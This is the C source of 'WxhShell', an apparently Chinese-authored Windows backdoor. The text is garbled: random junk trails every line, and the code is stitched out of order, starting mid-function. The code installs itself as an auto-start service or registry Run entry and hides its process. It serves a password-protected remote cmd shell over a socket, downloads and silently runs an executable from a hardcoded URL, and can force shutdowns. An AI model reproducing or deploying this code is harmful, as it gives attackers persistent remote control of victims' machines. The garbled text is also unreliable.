  // 关机 aGfp"NtL  
  case 'd': { e]CoYuPr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "R=~-, ~  
    if(Boot(SHUTDOWN)) |,~ )/o_R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :H&G}T(#  
    else { a>rDJw:  
    closesocket(wsh); &W c$VDC  
    ExitThread(0); !|j|rYi-  
    } E m^Dg9  
    break; hgzNEx%^q  
    } *A4eYHn@  
  // 获取shell [S8*b^t4  
  case 's': { MT:VQ>f C  
    CmdShell(wsh);  UO#`Ak  
    closesocket(wsh); QleVW  
    ExitThread(0); ,I ][  
    break; >]&Ow9-  
  } u~2]$ /U  
  // 退出 :Ocw+X3  
  case 'x': { [~X&J#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .gzfaxi  
    CloseIt(wsh); 0w0{@\9  
    break; $zU%?[J  
    } e$2P/6k>  
  // 离开 O1)\!=& .  
  case 'q': { co1aG,>"q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rZcSG(d`53  
    closesocket(wsh); tbiM>qxB  
    WSACleanup(); mQR9Pn}H  
    exit(1); +GL$[ 5G  
    break; SWY  
        } RgL>0s  
  } + d3  
  } p Pag@L  
gu%i|-}  
  // 提示信息 k3nvML,bv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .Gvk5Wn  
} 'TuaP `]<  
  } !c{F{ t-a  
$IjI{%  
  return; U8y?S]}vo  
} )J0h\ky  
Cl!(F 6K*  
// shell模块句柄 %?aq1 =B  
int CmdShell(SOCKET sock) $evuL3GY#  
{ Kd5 8'$  
STARTUPINFO si; `'sD(e  
ZeroMemory(&si,sizeof(si)); !lo /L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; al-rgh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NdSuOkwwt  
PROCESS_INFORMATION ProcessInfo; y Vm>Pj6  
char cmdline[]="cmd"; X{Hh^H  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XZM@Rys  
  return 0; ;gSRpTS:  
}  y1T(R#  
5ya^k{`+ZO  
// 自身启动模式 vp.?$(L^@/  
int StartFromService(void) ah_ >:x  
{ 5%e+@X;j  
typedef struct "}`)s_rt  
{ Gyy4zK  
  DWORD ExitStatus; EwU)(UK  
  DWORD PebBaseAddress; k.K#i /t  
  DWORD AffinityMask; ;b~\ [  
  DWORD BasePriority; (_<,Oj#*S  
  ULONG UniqueProcessId; t|i<}2  
  ULONG InheritedFromUniqueProcessId; noL9@It0  
}   PROCESS_BASIC_INFORMATION; s.Bb@Jq  
>:> W=  
PROCNTQSIP NtQueryInformationProcess; FKz5,PeL  
wT6zeEV~*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; < F;+A{M)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `]XI Q\ *  
7pciB}$2  
  HANDLE             hProcess; qt*+ D  
  PROCESS_BASIC_INFORMATION pbi; X!/Sk1  
>5:O%zQ@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |:JT+a1  
  if(NULL == hInst ) return 0; Xa.8-a"hz  
{, +c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ez0zk9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `&7tADFB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3Cc#{X-+  
-~lq <M  
  if (!NtQueryInformationProcess) return 0; K)~aH  
) y;7\-K0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^Y%_{   
  if(!hProcess) return 0; u;-fG9xs  
L/exR6M7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  16~E  
lV %1I@[M  
  CloseHandle(hProcess); ~"#HHaBO#  
9Pe$}N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O.ce=E  
if(hProcess==NULL) return 0; nWY^?e'S  
$=N?[h&4  
HMODULE hMod; `(0B09~7  
char procName[255]; -dBWpT  
unsigned long cbNeeded; oq+w2yR  
bNVeL$'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U].]K   
v#/Gxk9eX  
  CloseHandle(hProcess); Q]/%Y[%|  
n*=#jL  
if(strstr(procName,"services")) return 1; // 以服务启动 p\ ;|Z+0=  
M\5|  
  return 0; // 注册表启动 qE8aX*A1/  
} #xw*;hW<  
U>f'j;5  
// 主模块 ($[+dR  
int StartWxhshell(LPSTR lpCmdLine) @:9Gs!!  
{ Gb\PubJ  
  SOCKET wsl; T TN!$?G3  
BOOL val=TRUE; mA+:)?e5~  
  int port=0; uoI7' :Nv  
  struct sockaddr_in door; +lqGf  
pOo016afmA  
  if(wscfg.ws_autoins) Install(); q -8G  
*??lwvJp  
port=atoi(lpCmdLine); C\GP}:[T3  
 |50sGJE(  
if(port<=0) port=wscfg.ws_port; wqF?o  
V)>?[  
  WSADATA data; X&?s:A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n%7?G=_kj  
lnyfAq}w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y -a   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <SI|)M,, 3  
  door.sin_family = AF_INET; V+O,y9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6~x'~T  
  door.sin_port = htons(port); 2]]v|Z2M4  
P$#:$U @  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6D`n^uoP  
closesocket(wsl); nOL"6%q  
return 1; mnsl$H_4S  
} XAU%B-l:  
QE\ [ EI2  
  if(listen(wsl,2) == INVALID_SOCKET) { JUpV(p"-r  
closesocket(wsl); S*V}1</L  
return 1; Xi98:0<=  
} 0yI1r7yNB+  
  Wxhshell(wsl); njaMI8|Pa  
  WSACleanup(); 4}uOut  
SscB&{f  
return 0; k_=yb^6[U  
`Zm6e!dH-  
} f|~{j(.v  
E>|X'I?r^  
// 以NT服务方式启动 $ItjVc@U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wwB3m&  
{ Lz'VQO1U=  
DWORD   status = 0; gVOAB-nw  
  DWORD   specificError = 0xfffffff; 1*TbgxS~W  
WK>|IgK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^Fco'nlM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >Q\Kc=Q|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ro{!X,_$,  
  serviceStatus.dwWin32ExitCode     = 0; 7#0buXBg  
  serviceStatus.dwServiceSpecificExitCode = 0; i.vH$  
  serviceStatus.dwCheckPoint       = 0; :x*)o+  
  serviceStatus.dwWaitHint       = 0;  mLxgvp  
"0P`=n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 20|`jxp  
  if (hServiceStatusHandle==0) return; \xkKgI/  
S' j g#*$  
status = GetLastError(); T$xB H  
  if (status!=NO_ERROR) 56 3mz-  
{ >CqzC8JF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pa[/6(  
    serviceStatus.dwCheckPoint       = 0; ~P1~:AT  
    serviceStatus.dwWaitHint       = 0; P2-&Im`+  
    serviceStatus.dwWin32ExitCode     = status; g"evnp  
    serviceStatus.dwServiceSpecificExitCode = specificError; bP&QFc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ixd sz\<  
    return; 0D s3wNz  
  } 20;9XJmjl  
F~mIV;BP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e"nm<&  
  serviceStatus.dwCheckPoint       = 0; b|d-vnYE  
  serviceStatus.dwWaitHint       = 0;  8s0+6{vW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MEiP&=gX!  
} Xo34~V@(  
T }}2J/sj  
// 处理NT服务事件,比如:启动、停止 g"!(@]L!@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "?I#!t%'  
{ /o;M ?Nt6  
switch(fdwControl) U#` e~d t<  
{ -Uwxmy+  
case SERVICE_CONTROL_STOP: !*N9PUM  
  serviceStatus.dwWin32ExitCode = 0; -b(DPte  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; { qNPhi  
  serviceStatus.dwCheckPoint   = 0; m+TAaK  
  serviceStatus.dwWaitHint     = 0; 1UP=(8j/  
  { tJ\ $%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a#YK1n[!  
  } zfeT>S+  
  return; !@ ^6/=  
case SERVICE_CONTROL_PAUSE: J7`mEL>?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2?JV "O=  
  break; 7z b^Z]  
case SERVICE_CONTROL_CONTINUE: CJ IuMsZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zw/AZLS  
  break; ;)(g$r^_i  
case SERVICE_CONTROL_INTERROGATE: ZSC*{dD$E  
  break; :!%VSem  
}; HZyA\FS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -K64J5|b7  
} 2B ]q1>a!  
oJ74Mra  
// 标准应用程序主函数 4Z"}W!A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jx: IK  
{ j[G`p^ul  
}aZuCe_  
// 获取操作系统版本 >HP `B2Q H  
OsIsNt=GetOsVer(); 8>&@"j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #S}orWj  
j/O~8o&  
  // 从命令行安装 \Z[1m[{  
  if(strpbrk(lpCmdLine,"iI")) Install(); d1<";b2Jt^  
-50DGA,K6  
  // 下载执行文件 ;CYoc4e  
if(wscfg.ws_downexe) { _fHC+lwN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B/twak\  
  WinExec(wscfg.ws_filenam,SW_HIDE); sdFHr4  
} `H+"7SO  
X0lPRk53(  
if(!OsIsNt) { $%y q[$^  
// 如果时win9x,隐藏进程并且设置为注册表启动 +V3mF_s|z  
HideProc(); )^>LnQ_u  
StartWxhshell(lpCmdLine); 7'G;ijx  
} J2bvHxb Rd  
else j#l=%H  
  if(StartFromService()) <xI<^r'C9e  
  // 以服务方式启动 U"PcNQy  
  StartServiceCtrlDispatcher(DispatchTable); (2g a: }K  
else ;8sL  
  // 普通方式启动  G 3Z"U  
  StartWxhshell(lpCmdLine); NJUKH1lIhR  
aZFpt/.d  
return 0; $D bnPZ2$  
} "4N&T#  
1[%3kY-h  
?:(y  
=8AT[.Hh  
=========================================== &@0~]\,D7  
n5:uG'L\  
5S~ H[>A"  
#[+# bw_6  
3:)z+#Uk6  
ARKM[]  
" PTQ#8(_,  
po| Ux`u  
#include <stdio.h> "-~ 7lY%  
#include <string.h> |5&+VI  
#include <windows.h> GEc6;uz<  
#include <winsock2.h> sPH 2KwEv  
#include <winsvc.h> 3SVGx< ,2  
#include <urlmon.h> F-&tSU,  
EL 5+pt  
#pragma comment (lib, "Ws2_32.lib") J<$@X JLS  
#pragma comment (lib, "urlmon.lib") nV' 1 $L#  
}A)\bffH  
#define MAX_USER   100 // 最大客户端连接数 3BFOZV+  
#define BUF_SOCK   200 // sock buffer 9/ <3mF@E  
#define KEY_BUFF   255 // 输入 buffer h0{X$&:  
dSM\:/t  
#define REBOOT     0   // 重启 W }N UU  
#define SHUTDOWN   1   // 关机 ^_2c\mw_I  
CMt<oT6.?  
#define DEF_PORT   5000 // 监听端口 $O"ss>8Se  
/9`4f"  
#define REG_LEN     16   // 注册表键长度 u47<J?!Q  
#define SVC_LEN     80   // NT服务名长度 ~6G `k^!  
eg0_ <  
// 从dll定义API T5XXC1+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D6"=2XR4n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0SQ!lr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z)?$ZI@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >3 o4 U2  
wlS/(:02  
// wxhshell配置信息 k<gH*=uXY'  
struct WSCFG { J'44j;5&  
  int ws_port;         // 监听端口 56v G R(  
  char ws_passstr[REG_LEN]; // 口令 OVg&?fiP  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;%tFi  
  char ws_regname[REG_LEN]; // 注册表键名 odv2(\  
  char ws_svcname[REG_LEN]; // 服务名 S 'a- E![  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8z=# 0+0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m,.Y:2?*V  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YQMWhC,8hy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^Q/*on;A,/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [+ud7l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $8tk|uh  
D"7}&Ry:  
}; 55Ss%$k@  
`TrWtSwv  
// default Wxhshell configuration 9LR=>@Z  
struct WSCFG wscfg={DEF_PORT, D#;7S'C  
    "xuhuanlingzhe", )Z7Vm2a  
    1, X\^V{v^-  
    "Wxhshell",  wJp<ZL  
    "Wxhshell", hnj\|6L  
            "WxhShell Service", ,9&cIUH  
    "Wrsky Windows CmdShell Service", waMF~#PJlt  
    "Please Input Your Password: ", }7 N6n Zj`  
  1, = Xgo}g1  
  "http://www.wrsky.com/wxhshell.exe", "Q?+T:D8|  
  "Wxhshell.exe" HDe\Oty_  
    }; CPz<iU  
?ZF):}r vZ  
// 消息定义模块 Ailq,  c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6v`3/o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; GZ%vFje_ K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HC iRk1  
char *msg_ws_ext="\n\rExit."; V_7\VKR  
char *msg_ws_end="\n\rQuit."; P9v(5Z00|d  
char *msg_ws_boot="\n\rReboot..."; F}; R  
char *msg_ws_poff="\n\rShutdown..."; ;ALWL~Xm  
char *msg_ws_down="\n\rSave to "; ddHl&+G  
%:3XYO.w-  
char *msg_ws_err="\n\rErr!"; F*72g)hVh  
char *msg_ws_ok="\n\rOK!"; HuhQ|~C+~  
\Y P,}_ ~  
char ExeFile[MAX_PATH]; b8WtNVd  
int nUser = 0; cu!%aM,/<-  
HANDLE handles[MAX_USER]; jn(x-fj6R  
int OsIsNt; c 1YDln  
"@Vyc6L  
SERVICE_STATUS       serviceStatus; *22Vc2[i;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qO6M5g:   
wgl<JO  
// 函数声明 ) Sn0Y B  
int Install(void); $xO8?  
int Uninstall(void); m:@y_:X0  
int DownloadFile(char *sURL, SOCKET wsh); 8Qvs\TY  
int Boot(int flag); `v*HH}aDO  
void HideProc(void); Wjb_H (D  
int GetOsVer(void); R)NSJ-A!2  
int Wxhshell(SOCKET wsl); !%>RHh[  
void TalkWithClient(void *cs); {_9O4 + &  
int CmdShell(SOCKET sock); =?5)M_6)  
int StartFromService(void); FnvpnU",  
int StartWxhshell(LPSTR lpCmdLine); GJ9>i)+h;  
yD+4YD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C`5'5/-.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); yl[I'fX66  
Ss[[V(-  
// 数据结构和表定义 ,i:?c  
SERVICE_TABLE_ENTRY DispatchTable[] = !XPjRdq  
{ W[2]$TwT  
{wscfg.ws_svcname, NTServiceMain}, Xa[k=qFo  
{NULL, NULL} =j.TDv'^nd  
}; t3<MoDe7`r  
sz9W}&(j  
// 自我安装 bzr2Zj{4  
int Install(void) ]$smFF  
{ 'ZbWr*bo  
  char svExeFile[MAX_PATH]; *HoRYCL  
  HKEY key; *.W3V;K  
  strcpy(svExeFile,ExeFile); -.Wcz|  
W!{RJWe  
// 如果是win9x系统,修改注册表设为自启动 D<WnPLA$g  
if(!OsIsNt) { Xa`Q;J"h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]]j^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yE}\4_0I/  
  RegCloseKey(key); &8$v~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *5)UIRd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >Hf{Mx{<  
  RegCloseKey(key); QjTSbHtH  
  return 0; /U;j-m&   
    } ]az(w&vqg2  
  } IkCuw./  
} "6B@V=d  
else { T^v763%  
.a4,Lr#q.  
// 如果是NT以上系统,安装为系统服务 o[Ffa# sE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |A&;m}(Mt  
if (schSCManager!=0) 8$IKQNS  
{ H/o_?qK  
  SC_HANDLE schService = CreateService K43%9=sM  
  ( $DHE%IN`  
  schSCManager, q5;dQ8Y ?  
  wscfg.ws_svcname, eHr0],  
  wscfg.ws_svcdisp, b A+_/1C  
  SERVICE_ALL_ACCESS, $Q*R/MY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,rMf;/[  
  SERVICE_AUTO_START, sVHF\{<  
  SERVICE_ERROR_NORMAL, 4*XNk;Dx  
  svExeFile, E'x"EN  
  NULL, M9iX_4  
  NULL, #,#`< h!  
  NULL, SBxpJsW >  
  NULL, #pvq9fss,}  
  NULL [F6 )Z[uG  
  ); 'K7\[if{  
  if (schService!=0) M%E<]H2;S  
  { r=Xo;d*TE  
  CloseServiceHandle(schService); ;,77|]<XE  
  CloseServiceHandle(schSCManager); r8 9o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _vTr?jjfK  
  strcat(svExeFile,wscfg.ws_svcname); 5r5on#O&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P@v"aa\@2)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5wue2/gl  
  RegCloseKey(key); 78l);/E{v  
  return 0; yCQvo(V[F  
    } OAXA<  
  } IxbQ6  
  CloseServiceHandle(schSCManager); o GuAF q  
} $;^|]/-  
} lOm01&^"E  
H_&to3b(  
return 1; MG?,,8sO  
} m)A:w.o  
;@Zuet  
// 自我卸载 <$s6?6P  
int Uninstall(void) 5]&sXs  
{ }O\IF}X  
  HKEY key; i:s=  
_r:Fmn_%-  
if(!OsIsNt) { ad}8~6}_&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 71{Q#%5U~  
  RegDeleteValue(key,wscfg.ws_regname); ~Dt$}l-9  
  RegCloseKey(key); 'g%:/lwA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MT!Y!*-5  
  RegDeleteValue(key,wscfg.ws_regname); O>L,G)g  
  RegCloseKey(key); wO]e%BTO  
  return 0; 3t-STk?  
  } &~*](Ma  
} (WHg B0{  
} OlT8pG5Oa  
else { L\#YFf  
>6S7#)0T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5aaM;45C  
if (schSCManager!=0) +jhzE%  
{ >h aihT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9J/[7TzSZ  
  if (schService!=0) YE`Y t  
  { 7qqzL_d>  
  if(DeleteService(schService)!=0) { 8KJUC&`  
  CloseServiceHandle(schService); :i&]J$^;  
  CloseServiceHandle(schSCManager); ,7d/KJ^7  
  return 0; F^GNOD3J  
  } $b`nV4p  
  CloseServiceHandle(schService); ~dS15E4-Pp  
  } e@P(+.Ke  
  CloseServiceHandle(schSCManager); ~cc }yDe  
} lTC0kh  
} ao)';[%9s  
Gwk$<6E  
return 1; ,8r?C!m]  
} Jg$<2CR&  
LDQ,SS,  
// 从指定url下载文件 V/#Ra  
int DownloadFile(char *sURL, SOCKET wsh) '8]p]#l  
{ a,w|r#x]  
  HRESULT hr; 0`"oR3JY  
char seps[]= "/"; ;t0 q ?9  
char *token; NVRzthg%c_  
char *file; ^]sb=Amw  
char myURL[MAX_PATH]; e,|gr"$/  
char myFILE[MAX_PATH]; /3M8 ;>@u  
5n?P}kca)  
strcpy(myURL,sURL); 4x6n,:;  
  token=strtok(myURL,seps); *QQeK# $s  
  while(token!=NULL) /0}Z>i K  
  { x=cucZ  
    file=token; i D9 */  
  token=strtok(NULL,seps); ]In7%Qb  
  } [mzed{p]]  
KO "/  
GetCurrentDirectory(MAX_PATH,myFILE); R=~%kt_n  
strcat(myFILE, "\\"); y"yo\IDW  
strcat(myFILE, file); 1)k+v17]f5  
  send(wsh,myFILE,strlen(myFILE),0); m[eqTh4*  
send(wsh,"...",3,0); -6+7&.A+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x`g,>>&C  
  if(hr==S_OK) $z[S0Cm  
return 0; +(2$YJ35  
else 'i%r  
return 1; OjhX:{"59  
m\qeYI6,Z  
} Gko"iO#  
MsXw 8D  
// 系统电源模块 nYSe0w  
int Boot(int flag) :.5l  
{ ) (YNNu  
  HANDLE hToken; l7g'z'G  
  TOKEN_PRIVILEGES tkp; ~vA{I%z5~  
!S=YM<Ad  
  if(OsIsNt) { \2kLj2!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &%rM|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l Xa/5QKC  
    tkp.PrivilegeCount = 1; wF`Y ,@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *b>RUESF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `,6|6.8#  
if(flag==REBOOT) { 9^F3r]bH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .=;IdLO,Bf  
  return 0; %>$<s<y  
} bB?E(>N;  
else { g4A{RI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b$klm6nMvm  
  return 0; (6$ P/k8  
} 6C2~0b   
  } ]JkEf?;.  
  else { u{DEOhtI4  
if(flag==REBOOT) { estiS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~5+RK16  
  return 0; YH\9Je%jx  
} ~yJ2@2I  
else { qt}M&=}8Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kQmkS^R  
  return 0; &Pb:P?I  
} J$51z  
} N`Q.u-'  
8</wQ6&|  
return 1; =dPokLXn  
} Kkp dcc  
0Ncpi=6  
// win9x进程隐藏模块 @e<( o UE  
void HideProc(void) k4iiL<|  
{ yU!1q}L!  
G$f%]A1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I4"p]>Y"  
  if ( hKernel != NULL ) qS\#MMsTd  
  { kL1<H%1'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?5EH/yV;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =|-= 4.b+|  
    FreeLibrary(hKernel); l^&#9d  
  } B,\VLX  
t}eyfflZ  
return; %]Z4b;W[Y  
} '{AB{)1  
~uc7R/3ss  
// 获取操作系统版本 qA GjR!=^  
int GetOsVer(void) ]P3m=/w  
{ 12lX-~[["  
  OSVERSIONINFO winfo; MoFM'a9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (|BY<Ac3  
  GetVersionEx(&winfo); Ip'tB4Mq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]i#p2?BR  
  return 1; h&i*=&<HP6  
  else yIL=jzm`7  
  return 0; cuN]}=D  
} tQ{/9bN?P  
;+wB!/k,  
// 客户端句柄模块 W#bYz{s.  
int Wxhshell(SOCKET wsl) tle`O)&uo  
{ {[2o  
  SOCKET wsh; WrGA7&!+  
  struct sockaddr_in client; Qel)%|dOn  
  DWORD myID; 6|NH*#s  
@N4~|`?U  
  while(nUser<MAX_USER) .v+JV6!u  
{ 2#7|zhgb  
  int nSize=sizeof(client); Zkd{EMW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \o!3TK"N  
  if(wsh==INVALID_SOCKET) return 1; #`u}#(  
gko=5|c,@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $!_ X9)e  
if(handles[nUser]==0) N_T5sZ\  
  closesocket(wsh); ~`AB-0t.u  
else w~u{"E$  
  nUser++; 8Nzn%0(Q  
  } $Er=i }`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'V7LL1K^>  
w!"L\QT  
  return 0; C{bxPILw  
} &DMC\R*j  
S=k!8]/d|  
// 关闭 socket Y$L` G  
void CloseIt(SOCKET wsh) x1eC r_  
{ (%fQhQ  
closesocket(wsh); ]u5TvI,C  
nUser--; Hi09?AX  
ExitThread(0); QH-CZ6M  
} eJo" Z  
{<ShUN  
// 客户端请求句柄 Rv&"h_"t  
void TalkWithClient(void *cs) jg?UwR&  
{ 4 "2%mx:  
bX$z)]KKu  
  SOCKET wsh=(SOCKET)cs; WRD z*Zf  
  char pwd[SVC_LEN]; X_2N9$},  
  char cmd[KEY_BUFF]; )P(S:x'b0  
char chr[1]; v8-My1toV  
int i,j;  Lw\u{E@  
.hW>#  
  while (nUser < MAX_USER) { XN<!.RCw  
Z^V;B _  
if(wscfg.ws_passstr) { DKS1Sm6d0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1)= H2n4)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %<>:$4U@]  
  //ZeroMemory(pwd,KEY_BUFF); $L^%*DkM  
      i=0; 5$ =[x!x  
  while(i<SVC_LEN) { tKt}]KHV  
]00s o`  
  // 设置超时 \$_02:#  
  fd_set FdRead; "zcAYg^U  
  struct timeval TimeOut; $jMA(e`Ye0  
  FD_ZERO(&FdRead); ~ =u8H  
  FD_SET(wsh,&FdRead); 4;L|Ua  
  TimeOut.tv_sec=8; Z+ k) N  
  TimeOut.tv_usec=0; hA ){>B<;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o:#jvi84F  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eF%M2:&c;  
9W=(D|,,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %:~Ah6R1  
  pwd=chr[0]; edMCj  
  if(chr[0]==0xd || chr[0]==0xa) { G Uu8 N  
  pwd=0; R%3yxnM*  
  break; oSrA4g  
  } fZ-"._9UyH  
  i++; %$ya>0?mq  
    } N 8[r WJ#  
X}Q4;='C-  
  // 如果是非法用户,关闭 socket g}hUCx(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1#x5 o2n  
} %O9Wm_%  
~S('\h)1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^Z)7Z% O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W$jRS  
)"\= _E#  
while(1) { W%+02_/)  
-dovk?'Gj  
  ZeroMemory(cmd,KEY_BUFF); y7pBcyWTE=  
OFr"RGW"  
      // 自动支持客户端 telnet标准   Q qF<HCO  
  j=0; sN1H{W  
  while(j<KEY_BUFF) { o*204BGB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uM$b/3%s  
  cmd[j]=chr[0]; Gs~eRcIB  
  if(chr[0]==0xa || chr[0]==0xd) { dlo`](5m  
  cmd[j]=0; +(DzE H |  
  break; GgE g(AT  
  }  z/91v#}.  
  j++; 6H0kY/quL|  
    } f1:>H.m`  
-Cvd3%Jje  
  // 下载文件 |vd|; " `  
  if(strstr(cmd,"http://")) { \Yj_U'2"i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <p<6!tdO  
  if(DownloadFile(cmd,wsh)) QyA^9@iVs  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Tc`W_-  
  else Mc c%&j  
